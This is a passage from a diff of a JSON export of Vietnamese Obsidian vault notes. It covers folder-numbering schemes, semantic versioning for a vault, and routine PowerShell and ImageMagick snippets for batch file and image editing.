pháp gợi ý | Hành vi cần đạt được | Giả thiết | Công việc |\n| --------------- | -------------------- | --------- | --------- |\n| \n\n| Nơi cho câu trả lời | [[⚡Hiểu biết sâu]] | [[📜Tài nguyên]] |\n| ------------------- | ---------------------------------------------------------------------------------------- | ------------------------------------------------------------------------- |\n| Câu hỏi của bạn | Hmm, bản chất của những vấn đề này là gì? Còn những gì tôi không biết là tôi không biết? | Tôi cần thành thạo thêm những công cụ gì để dự án của tôi được trôi chảy? |\n| Loại câu hỏi | Why | How |\n| Loại biết | Không biết là mình không biết | Biết là mình không biết |\n| | Thiên về công việc khai phá | Thiên về công việc khai thác |\n| | Có tính liên ngành cao | Không thường liên ngành |\n| | Xoay quanh các chủ đề | Thiên về chọn giải pháp trên thị trường phù hợp với nhu cầu | \n\n[[Làm sao để tìm được thứ cần tìm khi không biết từ khoá chính xác của nó|Làm sao để tìm được thứ cần tìm khi không biết từ khoá chính xác của nó?]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-10T13:48:00.000Z", - "Ngày cập nhật": "2024-09-02T08:16:00.000Z", - "id": "S0" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-09-02T18:05:00.000Z", + "id": "SE" }, { - "Tiêu đề": "Thay vì ta thao túng trực tiếp dữ liệu, ta điều khiển vật thể qua phần giao tiếp của nó với bên ngoài", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Lập trình hướng vật thể/Khái niệm cơ bản/Vật thể/Thay vì ta thao túng trực tiếp dữ liệu, ta điều khiển vật thể qua phần giao tiếp của nó với bên ngoài", + "Tiêu đề": "Quản lý tổ chức", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tổ chức, sắp xếp dữ liệu/Quản lý tổ chức", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Phần giao tiếp (interface) đó sẽ gồm các phương thức. [[Vật thể ngoài tự nhiên không chứa hướng dẫn để sử dụng nó. Vật thể trong máy tính có hướng dẫn sử dụng nó]]\nNguồn::![YouTube](https://youtu.be/KyTUN6_Z9TM)\n", + "Toàn bộ nội dung": "Trước tiên hãy nói về cách đánh số thư mục. Cách đánh số này lấy ý tưởng từ cách đánh số [Johnny•Decimal](https://johnnydecimal.com/).\n- Những sự kiện sẽ được đánh số riêng theo dạng YYMM\n\nNếu các file cần đánh số riêng thì sẽ có một dấu chấm\n\nNhững con số sẽ giúp nhớ\n\nCác thư mục ở trên sẽ quyết định các thư mục ở dưới\n- 1 cho bạn biết bạn muốn gì\n- 2 sẽ cho bạn biết phải làm thế nào\n- 3 sẽ cho bạn biết tại sao \n\n| Thư mục | Mục tiêu | Dự án phát sinh |\n| --------------------------------------- | ------------------------------------------------- | ---------------------- |\n| 1 Nhu cầu | Cho bạn biết bạn muốn gì (what) | B Mạng kết nối nhu cầu |\n| 2 Kỹ năng, thử thách, mức độ thành thạo | Cho bạn biết cách để đạt được điều bạn muốn (how) | C Hỗ trợ người tự học |\n| 3 Kiến thức, câu hỏi | Cho biết tại sao mình lại phải làm điều đó (why) | Các sản phẩm khác |\n- 1 sẽ là mạng kết nối nhu cầu\n- 2 là hỗ trợ người tự học\n- 3 sẽ là các sản phẩm khác\n\nTừ 1 đến 3 là hướng về cá nhân, là nơi mọi người phát triển bản thân mình, là nơi họ sống cho bản thân. Từ 5 trở đi là hướng về tập thể, là những thứ được thống nhất và sử dụng chung. 4 là nơi giao nhau, và cũng có thể xem là nơi chuyển giao giữa việc đặt cá nhân làm trọng tâm và đặt tập thể làm trọng tâm. Đó là các vùng đất, nơi các dòng nhu cầu hội tụ đủ mạnh để bồi đắp tạo thành. Một người mới vào phải thấy được giá trị của 4 thì họ mới tham gia sâu hơn. Một người khi cảm thấy rằng mình muốn có 4 sẽ di chuyển xuống các thư mục ở dưới, để biến những thứ ở 4 trở thành hiện thực. \n\nNhững người chưa có hứng thú với một vùng đất nào đó thì sẽ thấy nhức đầu bởi những chi tiết bên trong nó.\n\nTổ chức nằm ở 8 vì tới lúc này nhu cầu có một tổ chức mới trở nên rõ ràng hơn\nCái này là tài liệu thô mình chưa qua xử lý. Xử lý xong rồi thì để vào 9\n\n# Phân tích từng thư mục\n## Trang chủ\nNút bấm nhắc nhở mình nhìn nhận về nhu cầu của mình. Nó cũng tao cảm giác với mỗi một nhu cầu khác nhau QC sẽ biến hình để đáp ứng nhu cầu đó. \n\n## 1 Nhu cầu\nDẫn tới mạng lưới nhu cầu \nPhân loại theo lĩnh vực, và phân loại theo MoSCoW\n\nVấn đề, điểm đau\nXứ hướng làm sản phẩm hiện nay là không tập trung xây dựng chân dung khách hàng. Cái này vẫn cần thiết khi làm tiếp thị, nhưng với đội làm sản phẩm thì thiên về chân dung nỗi đau, và segment theo nhu cầu. \n## 2 Kỹ năng \nGame hóa.Nhưng nó vẫn chỉ tạo cảm giác bọc đường, là một cách để đặt mong muốn của mình lên trên. Chỉ sử dụng huy hiệu chứ không dùng tới yếu tố tuyệt vời nhất của game: bản đồ. \n\nBằng việc nhận ra rằng hiểu tổ chức cũng chỉ là một kỹ năng, ta không còn cần phải sử dụng đến hệ thống cấp bậc, mà vẫn giữ được \n\nNhiều khi cảm giác kỹ năng với thử thách là một. Nhưng nó sẽ khác nhau khi kỹ năng trở nên phức tạp và đòi hỏi nhiều kỹ năng nhỏ hơn, và có nhiều cấp độ tăng dần\n\nThử thách với đầu vào đều là những cách để tăng mức độ thành thạo kỹ năng đó. Thử thách là những công việc ở QC. Đầu vào là những công việc ko ở QC\n\nNhững tinh thần, triết lý mà tôi muốn lan tỏa, cũng chỉ là một dạng kỹ năng\nThành tựu với đầu ra là giống nhau\nỞ trạng thái chưa phức tạp, mọi thứ còn hoà và nhau. Việc hiểu một khái niệm cũng có thể xem là một thử thách\n\nTrong doanh nghiệp, mục thử thách này gọi là đào tạo nội bộ, đào tạo cho nhân viên 1 kĩ năng cần thiết nào đó. Mục mức độ thành thạo cũng có thể xem là hành trình người tham gia\n\nChia sẻ đam mê\nSự sẵn sàng chia sẻ thường chỉ khi họ vẫn còn đang cần. Khi hiểu rành rẽ rồi thì sự hứng thú đó cũng giảm\n[[Bản đồ là yếu tố tuyệt vời nhất của game mà các dự án có sử dụng game hoá chưa sử dụng triệt để]]\n\nCác file trong đây file nào cũng có thể là tài liệu \n\nĐã có rất nhiều hướng dẫn trên mạng, chỉ việc google là có rất nhiều\nKể cả khi note chưa đủ dữ liệu, và search query cũng đơn giản, thì các nút bấm cũng giảm tải sự khó khăn hơn nhiều so với phải viết ra\n\nMặt khác, với số lượng bài viết ê hề và cạnh tranh nhau để lên top, sẽ thấy bực mình vì\n\nCó người giải thích ở ngay đó cũng chưa chắc thấm vì quá nhiều thuật ngữ\n\nTemplate tản mát\n\nKhi có cơ hội để học thì lại thấy nhức đầu\n## 3 Kiến thức\n\n- 31 Khái niệm, chủ đề: Các chủ đề mà QC bàn đến \n- 32 Câu hỏi: Những lỗ hổng về mặt kiến thức mà tổ chức cần tìm hiểu\n- 33 Ghi chép: evergreen\n\nMỗi một mục sẽ chia theo những nhóm chủ đề. Để hiểu những nhóm này như thế nào thì trước hết hãy xem hình này:\n\n![[Vòng tròn.png|300]]\nÝ tưởng của hình này là:\n\n- [Sự bất lực học được](https://xn--riqucu-hr5aza.cc/su-bat-luc-hoc-duoc/) là chủ đề trung tâm, chi phối mọi cách tiếp cận các chủ đề khác\n- Mọi chủ đề đều liên kết với nhau, kể cả khi chúng không cùng chung nhóm\n- Mỗi một nhóm chủ đề đều có một nhóm chủ đề khác nằm lẩn sâu bên dưới, không thể giải quyết nhóm này mà không biết về nhóm kia\n\nTheo quan sát của chúng tôi, nhiều người làm ở những nhóm chủ đề này không biết tới những nhóm chủ đề sâu hơn, còn những người làm ở những chủ đề sâu hơn thì mải miết bàn về nó mà không đưa ra được ứng dụng thực tế cho những người ở những nhóm chủ đề ở trên dùng.\n\nCác bài viết liên quan trực tiếp tới sự bất lực học được được trình bày ở mục [Nỗi sợ, góc nhìn, mạnh mẽ, từ bi](https://xn--qucu-hr5aza.cc/category/bai-viet-sau/noi-so-goc-nhin-manh-me-tu-bi/).\n\nĐặt:\n- Nhóm 1: nhóm chủ đề bên trái sự bất lực học được, liên quan trực tiếp đến những chủ đề về bất lực hoặc thù ghét [Bất lực, bạo hành, tự quyết, can thiệp](https://xn--qucu-hr5aza.cc/category/bai-viet-sau/bat-luc-bao-hanh-tu-quyet-can-thiep/)\n- Nhóm 2: nhóm chủ đề bên phải sự bất lực học được, liên quan đến những lý do khiến cho việc thù ghét hoặc bất lực trở nên có cơ sở trong văn hoá, xã hội\n\t- [Cái đẹp, cảm xúc, ham muốn, đam mê](https://xn--qucu-hr5aza.cc/category/bai-viet-sau/cai-dep-cam-xuc-ham-muon-dam-me/)\n\t- [Tự nhiên, hệ thống, khoa học, quyền uy](https://xn--qucu-hr5aza.cc/category/bai-viet-sau/tu-nhien-he-thong-khoa-hoc-quyen-uy/)\n- Nhóm 3: Vòng tròn gần ngoài cùng, liên quan đến những vấn đề về nhận thức [Đạo, ngữ dụng, tâm lý học nhận thức](https://xn--qucu-hr5aza.cc/category/bai-viet-sau/dao-ngu-dung-tam-ly-hoc-nhan-thuc/)\nNLP, Wikipedia \n\n## 4 Sản phẩm, thành quả mong muốn\nNhững thứ này tự nó sẽ có thể cần một vault riêng. Chúng cũng cần một trang chủ riêng \nCác sản phẩm từ dưới đếm lên là những cái bổ trợ, cần phải đi kèm với một sản phẩm cụ thể nào đó, chứ tự bản thân nó là không đủ. Và nó cũng thường đi kèm với những sản phẩm khác. \n- Tìm nguyên nhân gốc rễ: Cây vấn đề\n\n[[Nhu cầu mà có định lượng sẽ là Thành quả cần có]]\nOutcome là kết quả mà chúng ta thu được do sự thay đổi về hành vi của người\ndùng khi tương tác với sản phẩm đã được cải tiến (hoặc sản phẩm mới). Thành quả cần có,\nOutput là sản phẩm nhỏ hơn\nSự kiện là một loại output\n\nSản phẩm là sự bồi tụ của các dòng hải lưu nhu cầu và kết tinh của kiến thức, trong khi sản phẩm nhỏ hơn là output. Nó là lý do khiến mọi người bu vào. Sản phẩm = dự án = nhóm các output. Những outcome nào liên quan đến nhau thì sẽ là để phục vụ cho một outcome lớn hơn\nThường là để các cấp trong tổ chức nói chuyện với nhau\nTầm nhìn chắc là outcome tổng\nNhu cầu = impact = problem = why start = pain point = động lực\n![](https://miro.medium.com/max/1200/1*pNf5d7h2c-N-BrbM8cVDIA.png) \n\n```mermaid\nflowchart LR\n\tnc[Nhu cầu]\n\tsp[Sản phẩm]\n\ttq[Thành quả]\n\ttp[Thành phẩm]\n cv[Công việc]\n\tnc-->sp\n\tnc-->tq\n\tsp-->tq\n\tsp-->tp\n\ttq-->tp\n\n\ttp-->cv\n```\n### Sự kiện\nCó những công việc dài thì để vào gantt, có những công việc ngắn\nTách ra thì sẽ lắt nhắt. Tạo nhiều note sẽ rối rắm không cần thiết\n\nThực chất, việc ta tư duy bằng output là vì ta tư duy bằng object\n\nTrước đây cảm thấy rất rối, vì cùng một cái ghi chú vừa là nhu cầu, vừa là mục tiêu, vừa là sản phẩm. Tách ra thì rời rạc mà để chung thì loạn\n\n## 5 SWOT, giá trị cốt lõi\nGiá trị là cấp độ từ. Triết lý là cấp độ câu. Cả hai đều là những định hướng, la bàn, là cách đểchonj cách để ưu tiên \n\nCho vào chung vì với những giá trị khác nhau sẽ cho những điểm mạnh và điểm yếu khác nhau\n- Phân tích vấn đề: issue mapping\n- Phân tích điểm mạnh, điểm yếu: SWOT\n\nDo là đang đi tìm gốc rễ, nên mới để lý do :: chứ không phải Hệ quả ::. \n\nNhững cái này sẽ chuyển sang đồ thị để xem những cái nào đang củng cố lẫn nhau\n\n## 6 Các bên liên quan\n- Thu thập thông tin người hưởng lợi: OIST\n- Phân tích đối tượng thụ hưởng: tư duy thiết kế\n## 7 Công việc\n[[Các yếu tố trong công việc|Danh sách tất cả các tag]]\n\n## 8 Tổ chức \n- Ra quyết định: \n# Nhìn lại lần nữa\nCách mà các khái niệm như Kỹ năng, Chủ đề, Sản phẩm mở ra (unfold) chính nó. Nghĩa là dưới nó còn có nó\n\nNếu chỉ một cái trong category đó thì không cần tạo folder cho đỡ rối. Nhưng nếu 2 cái trở lên mà ko tạo thì lại rối\n\nVới việc không sử dụng khái niệm \"Thành quả cần có\"\n \n| --------- | Từ bắt đầu |\n| ------------------- | -------------------------- |\n| 1 Nhu cầu | `Tìm`, `Có`, `Hiểu` |\n| 4 Thành quả cần có | `Đánh giá được`, `Có được` |\n| 7 Công việc: Họp | `Bàn`, `Thống nhất` |\n| | |\n\n## Chiều dữ liệu: 4 và 6 tỏa đi các nơi\n- Mối quan hệ giữa các dữ liệu: [RDF Triplestore](https://viblo.asia/u/huynhduc)\n## 21 Hiểu QC, 4A,8+9 có chức năng giống nhau \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-10T13:35:00.000Z", - "Ngày cập nhật": "2024-09-02T08:16:00.000Z", - "id": "S1" + "Ngày tạo": "2024-09-02T17:32:00.000Z", + "Ngày cập nhật": "2024-09-02T17:33:00.000Z", + "id": "SF" }, { - "Tiêu đề": "Việc đóng gói (encapsulation) giúp ta không cần quan tâm vật thể lưu dữ liệu thế nào, mà chỉ cần quan tâm tới thuộc tính và phương thức của nó", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Lập trình hướng vật thể/Khái niệm cơ bản/Vật thể/Việc đóng gói (encapsulation) giúp ta không cần quan tâm vật thể lưu dữ liệu thế nào, mà chỉ cần quan tâm tới thuộc tính và phương thức của nó", + "Tiêu đề": "Đánh số phiên bản", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tổ chức, sắp xếp dữ liệu/Đánh số phiên bản", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "In the spirit of [Semantic Versioning](https://semver.org/), I come up with an idea to semantic versioning my vault. Here is the idea:\n\nGiven a version number MAJOR.MINOR.PATCH, increment the:\n\n1. MAJOR version when root folder has significant changes\n2. MINOR version when 1st-level folders has significant changes\n3. PATCH version when 2st-level folders has significant changes\n\nWhat is significance is up to you. For me, it may be adding or removing a file or folder. Renaming without changing the idea much may be denoted with a letter after (i.e. `3`→`3a`→`3b`). If your root folder's structure is already stable before you apply the versioning, you foresee that it will be stable in a far future, then you can skip the MAJOR version if you want.\n\nThis idea can be generalize to any hierarchical structure, not just limited to folder structure. For example, a hierarchical graph.\n\nWhat do you think about this idea?\n\n---\n\nFYI, in Git you can add tags with:\n```\ngit tag -a v1.3 -m \"tag label here\"\n```\nIf you are new with Git, you can start with [Learn Git Branching](https://learngitbranching.js.org/ \"Learn Git Branching\"). It's really help me.\n\n\n`X.Y`\nNếu là vault Obsidian, thì có thể đánh số phiên bản theo kiểu:\n- Nếu thay đổi ở folder cấp 0 thì X tăng 1\n- Nếu thay đổi ở folder cấp 1 thì Y tăng 1\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-02T08:16:00.000Z", - "id": "S2" + "Ngày tạo": "2023-06-01T15:17:00.000Z", + "Ngày cập nhật": "2024-09-02T06:22:00.000Z", + "id": "SG" }, { - "Tiêu đề": "Vật thể ngoài tự nhiên không chứa hướng dẫn để sử dụng nó. Vật thể trong máy tính có hướng dẫn sử dụng nó", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Lập trình hướng vật thể/Khái niệm cơ bản/Vật thể/Vật thể ngoài tự nhiên không chứa hướng dẫn để sử dụng nó. Vật thể trong máy tính có hướng dẫn sử dụng nó", + "Tiêu đề": "Đánh số thư mục", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tổ chức, sắp xếp dữ liệu/Đánh số thư mục", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Phương thức phải gắn lên một vật thể cụ thể nào đó để có tác dụng]]\n[[Thay vì ta thao túng trực tiếp dữ liệu, ta điều khiển vật thể qua phần giao tiếp của nó với bên ngoài]] aa aaa aa aa\n", + "Toàn bộ nội dung": "![[Sử dụng phương pháp đánh chỉ số tập tin giúp dễ tìm kiếm (search) hơn là truy cập (navigate)]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-09T04:16:00.000Z", - "Ngày cập nhật": "2024-09-02T08:16:00.000Z", - "id": "S3" + "Ngày tạo": "2023-06-01T15:21:00.000Z", + "Ngày cập nhật": "2024-09-02T06:34:00.000Z", + "id": "SH" }, { - "Tiêu đề": "Vật thể được tạo nên bởi những thuộc tính", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Lập trình hướng vật thể/Khái niệm cơ bản/Vật thể/Vật thể được tạo nên bởi những thuộc tính", + "Tiêu đề": "App script", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tự động hoá/App script", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: [[Vật thể]]\n", + "Toàn bộ nội dung": "## Nơi thảo luận\n![](https://i.imgur.com/Dk1ghkE.png)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-07-25T13:27:00.000Z", - "Ngày cập nhật": "2024-09-02T08:16:00.000Z", - "id": "S4" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-27T16:06:00.000Z", + "id": "SI" }, { - "Tiêu đề": "Lập trình hướng vật thể", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Lập trình hướng vật thể/Lập trình hướng vật thể", + "Tiêu đề": "AutoHotKey", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tự động hoá/AutoHotKey", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nhu cầu công nghệ::\nGiải pháp kỹ thuật::", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-02T08:16:00.000Z", - "id": "S5" + "Ngày cập nhật": "2024-07-16T16:27:00.000Z", + "id": "SJ" }, { - "Tiêu đề": "Giao diện người dùng, logic, dữ liệu là 3 thành phần cơ bản cho một chương trình. Mỗi thành phần này có mục tiêu khác nhau, kỹ thuật xử lý khác nhau. Không thể trộn lẫn lộn với nhau được.", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Lập trình hướng vật thể/Nguyên lý/Giao diện người dùng, logic, dữ liệu là 3 thành phần cơ bản cho một chương trình. Chúng có mục tiêu khác nhau, kỹ thuật xử lý khác nhau. Không thể trộn lẫn lộn với nhau được.", + "Tiêu đề": "Chỉnh sửa file hàng loạt bằng PowerShell", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tự động hoá/Chỉnh sửa file hàng loạt bằng PowerShell", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "### Không phân biệt giữa giao diện – logic – dữ liệu\n\nỞ trên có nói tới việc bạn thường xuyên nhồi nhét đủ mọi loại code vào file code-behind của form. Nếu bạn phân biệt được rạch ròi các thành phần chính của ứng dụng thì có thể mọi thứ sẽ khác.\n\nNhìn một cách chung nhất, mỗi ứng dụng thường phân biệt rõ 3 thành phần cơ bản: giao diện người dùng, logic, dữ liệu. Mỗi thành phần này có mục tiêu khác nhau, kỹ thuật xử lý khác nhau. Do đó, không thể trộn lẫn lộn với nhau được.\n\nGiao diện người dùng được tạo ra bởi Form và các điều khiển bạn đặt trên nó. Nhiệm vụ của nó là giúp người dùng nhập dữ liệu, và hiển thị dữ liệu (đã xử lý) trở lại cho người dùng.\n\nLogic là các quy tắc chi phối việc xử lý dữ liệu. Anh này thường âm thầm đứng sau chứ ít khi lộ diện và do đó ít khi được để ý tới. Ví dụ, khi người dùng cần một danh sách email sắp xếp theo thứ tự abc. Anh logic phải làm việc này. Còn anh giao diện chỉ làm nhiệm vụ hiển thị nó ra.\n\nDữ liệu là thứ trung tâm, cả anh giao diện và logic đều phải làm việc với anh dữ liệu. Tuy nhiên, anh dữ liệu cũng đòi hỏi có nhà riêng cho nó ở. Đó là file dữ liệu, hoặc một cơ sở dữ liệu. Khi cần, dữ liệu sẽ rời nhà đến làm việc với logic và giao diện. Xong việc, dữ liệu sẽ quay về nhà ở.\n\nNhư vậy, nếu phân biệt rõ ba anh này, bạn chắc chắn sẽ thấy chúng nó không thể ở chung với nhau được. Mỗi anh cần không gian riêng cho mình.\n\n\nNguồn:: [[tuhocict]], [Bộ giải pháp dễ học cho lập trình winform giúp bạn làm đề tài | Tự học ICT](https://tuhocict.com/giai-phap-winforms-1-phan-tich-van-de-bai-toan-minh-hoa/)\n", + "Toàn bộ nội dung": "[[PowerShell là một ngôn ngữ shell]]\n[The Complete Guide to PowerShell Punctuation - Simple Talk](https://www.red-gate.com/simple-talk/sysadmin/powershell/the-complete-guide-to-powershell-punctuation/)\n# Tạo nhiều folder\n```PowerShell\n$list=(ls -name -directory).substring(1)\nforeach ($i in $list) {\n\t$index=$i.substring(0,1)\n\tcd \"2$i\" \n\tnew-item \"2$index`1 Thành quả cần có\" -type directory;\n\tnew-item \"2$index`2 Sự kiện\" -type directory;\n\tnew-item \"2$index`3 Tài liệu\" -type directory;\n\tCd ..\n}\n```\n# Tạo array\n```PowerShell\n$list|ForEach-Object {\"`\"$_`\",\" } |clip\n```\n# Đổi tên hàng loạt\n```PowerShell\nGet-ChildItem *.md, *.json -recurse | Where-Object {$_.name -cmatch '^2[A-Z]'} | Rename-Item -newname { $_.name -replace '^2(.*)', '4$1'} -whatif \n```\n- `-cmatch`: match có case sensitive\n# Tìm và thay chuỗi hàng loạt\n[[VS Code nhiều khi không tìm hết được do tên file dài quá]]\n```PowerShell\nGet-ChildItem *.md, *.json -recurse | ForEach-Object { (Get-Content $_).Replace('Kết quả cần có::','Thành quả cần có::') | Set-Content $_ } \n```\n# Xoá tất cả desktop.ini \n```PowerShell\nGet-ChildItem -Force -Recurse -File -Filter \"desktop.ini\" | Remove-Item -force\n```\n# Tắt giới hạn số ký tự tối đa cho đường dẫn\n```PowerShell\nNew-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\FileSystem\" -Name \"LongPathsEnabled\" -Value 1 -PropertyType DWORD -Force\n```\n[Maximum Path Length Limitation - Win32 apps | Microsoft Learn](https://learn.microsoft.com/en-us/windows/win32/fileio/maximum-file-path-limitation?tabs=powershell#enable-long-paths-in-windows-10-version-1607-and-later)\n\n# Thêm [[Biến môi trường giúp ta điền những giá trị lặp đi lặp lại nhanh hơn|biến môi trường]] \n```PowerShell\n[System.Environment]::SetEnvironmentVariable('ResourceGroup','AZ_Resource_Group', 'User')\n$env:PATH += \";SomeRandomPath\"\n```\n```PowerShell\n[Environment]::SetEnvironmentVariable(\"Path\", [Environment]::GetEnvironmentVariable(\"Path\", [EnvironmentVariableTarget]::Machine) + \";C:\\bin\", [EnvironmentVariableTarget]::Machine)\n```\n# sfd\n```PowerShell\n$sourcePath = “F:\\New folder” \n$destinationPath = “E:\\New folder” \n$files = Get-ChildItem -Path $sourcePath -Recurse -Filter “*.*” \nforeach($file in $files){ \n\t$sourcePathFile = $file.FullName \n\t$destinationPathFile = $file.FullName.Replace($sourcePath, $destinationPath) \n\t$exists = Test-Path $destinationPathFile \n\tif(!$exists){ \n\t$dir = Split-Path -parent $destinationPathFile \n\tif (!(Test-Path($dir))) { New-Item -ItemType directory -Path $dir } \n\tCopy-Item -Path $sourcePathFile -Destination $destinationPathFile -Recurse -Force \n\t} \n\telse{ \n\t\t$isFile = Test-Path -Path $destinationPathFile -PathType Leaf \n\tif(!$isFile){ \n\t\tCopy-Item -Path $sourcePathFile -Destination $destinationPathFile -Recurse -Force \n\t} \n\t} \n}\n```\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-07-22T05:00:00.000Z", - "Ngày cập nhật": "2024-09-02T08:16:00.000Z", - "id": "S6" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-07-27T14:08:00.000Z", + "id": "SK" }, { - "Tiêu đề": "Mẫu thiết kế là những giải pháp cho những vấn đề thường gặp trong lập trình mà nhiều thế hệ lập trình viên đã đúc kết và chứng minh tính hiệu quả của nó", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Lập trình hướng vật thể/Nguyên lý/Mẫu thiết kế là những giải pháp cho những vấn đề thường gặp trong lập trình mà nhiều thế hệ lập trình viên đã đúc kết và chứng minh tính hiệu quả của nó", + "Tiêu đề": "Chỉnh sửa ảnh hàng loạt bằng ImageMagick", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tự động hoá/Chỉnh sửa ảnh hàng loạt bằng ImageMagick", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ![Nhập môn Design Pattern siêu tốc trong 10 phút - YouTube](https://youtu.be/eiWnblyjw58)\r\nNguồn:: [Hướng dẫn tự học Design Pattern trong C# | Tự học ICT](https://tuhocict.com/huong-dan-tu-hoc-design-pattern-trong-c/)\r\n**Tại sao phải biết Design Patterns?**\r\n\r\nNhư Kiên đã đề cập ở trên, **design patterns** **được đúc kết bằng kinh nghiệm và là cách giải quyết chung cho các vấn đề trong thiết kế phần mềm**. Chính vì vậy nếu chúng ta hiểu rõ design patterns thì khi chúng ta đối mặt một tình huống hay một vấn đề nào đó, chúng ta có thể áp dụng design patterns và **vấn đề có thể được giải quyết một cách nhanh chóng và hiệu quả nhất**.\r\n\r\nNgoài ra, nếu chúng ta áp dụng tốt design patterns, nó sẽ giúp **giải pháp của chúng ta dễ hiểu, dễ trình bày, hệ thống của chúng ta linh hoạt, dễ bảo trì, dễ test hơn**.\r\n\r\nĐối với bản thân các developer, việc hiểu rõ design patterns sẽ giúp **năng suất làm việc cải thiện, giá trị bản thân ngày càng tăng**, **đóng vai trò then chốt (key member)** trong các dự án mà mình tham gia, đó cũng là **đảm bảo cho quyền lợi, lợi ích của chúng ta** sau này.\r\n\r\nNgoài ra chúng ta cũng biết ngành lập trình là ngành có mức độ phát triển, thay đổi khá nhanh, các công nghệ, ngôn ngữ, thư viện...cập nhật liên tục cũng sẽ khiến chúng ta phải liên tục cập nhật theo. Nhưng luôn có những giá trị cốt lõi trong bất kì ngành nghề nào, và **OOP và design patterns chính là một trong các giá trị cốt lỗi trong lập trình**, nó sẽ giúp bạn vững vàng và mạnh mẽ hơn trong thời đại công nghệ này.\r\n\r\n**Vậy ai là người nên biết về Design Patterns?**\r\n\r\nDesign patterns được sử dụng rất rộng rãi trong thiết kế phần mềm, **đôi khi chúng ta đã thật sự biết đến nó và áp dụng nó vào các dự án, vào code của mình mà không nhận ra**, vì đôi khi đó là những design pattern rất đơn giản. Chính vì vậy, việc có cái nhìn tổng quát lại design patterns vô cùng bổ ích cho chúng ta - những developer.\r\n\r\nNgoài ra, trong thiết kế phần mềm nói chung và phát triển dự án nói riêng, việc tìm giải pháp và áp dụng design patterns thường được giao cho các key member, các senior developer. Do đó ngoài các senior developers cần củng cố kiến thức về design pattern, mà các junior developers, thậm chí là các bạn sinh viên, thực tập thì sự hiểu biết về design patterns là rất quan trọng và cần thiết để đóng vai trò quan trọng trong các dự án hay tổ chức mà mình tham gia.\r\nNguồn:: [Kiên's Blog - Góc .NET: Design Patterns trong các dự án thực tế - Design Patterns là gì?](https://kienchu.blogspot.com/2016/06/hoc-design-pattern-qua-cac-vi-du-thuc-te.html)\r\n", + "Toàn bộ nội dung": "[Examples of ImageMagick Usage](https://imagemagick.org/Usage/ \"Examples of ImageMagick Usage\")\n\n# Thêm logo hàng loạt\nThu nhỏ logo theo tỉ lệ 10% so với ảnh nền và ở vị trí góc phải trên cùng cách mép ảnh 3% chiều dài ảnh nền\n```PowerShell\ngci -recurse -file | Foreach-Object {\n\tmagick $_.fullname ..\\logo.png -resize %[fx:t?u.w*0.1:u.w]x%[fx:t?u.h*0.1:u.h] -gravity northeast -geometry +%[fx:t?u.w*0.03:u.w]+%[fx:t?u.w*0.03:u.w] -composite new\"$_.name\"\n} \n```\n\nScript: [Adding multiple logos to multiple images.ps1](https://gist.github.com/ooker777/7b559db31c1dcc4071592054baa1017e)\n\n> [!NOTE]- Giải thích `%[fx:t?u.w*0.9:u.w]`\n> \n> ## The reasoning behind the `%[fx:t?u.w*0.9:u.w]`\n> From [The FX Special Effects Image Operator](https://imagemagick.org/script/fx.php \"ImageMagick – The FX Special Effects Image Operator\"):\n> \n> ```\n> u: first image in list\n> v: second image in 